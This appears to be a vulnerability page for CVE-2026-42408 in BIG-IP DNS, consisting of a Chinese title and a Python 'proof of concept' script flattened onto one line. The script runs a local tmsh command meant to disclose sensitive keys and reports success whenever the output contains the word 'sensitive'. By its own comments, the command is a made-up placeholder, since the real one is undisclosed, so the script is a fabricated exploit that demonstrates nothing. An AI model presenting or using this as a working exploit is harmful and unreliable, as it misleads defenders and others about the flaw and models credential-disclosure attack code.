CVE-2026-42408 BIG-IP DNS 信息泄露漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-42408 Description: Proof of concept to demonstrate information disclosure via tmsh. Requirement: Local access, High privileges (root/admin). """ import subprocess # The vulnerable undisclosed command is simulated here. # In a real scenario, this would be the specific vulnerable tmsh command found in the advisory. VULNERABLE_CMD = "tmsh list /auth user sensitive-key" # Example placeholder command def exploit(): print(f"[*] Attempting to execute command: {VULNERABLE_CMD}") try: # Execute the command on the local BIG-IP system result = subprocess.run(VULNERABLE_CMD, shell=True, check=True, capture_output=True, text=True) output = result.stdout if output and "sensitive" in output.lower(): print("[+] Success! Sensitive information disclosed.") print("--- Output Start ---") print(output) print("--- Output End ---") else: print("[-] Command executed, but no sensitive data found or system is patched.") except subprocess.CalledProcessError as e: print(f"[-] Failed to execute command. Error: {e}") except Exception as e: print(f"[-] An unexpected error occurred: {e}") if __name__ == "__main__": exploit()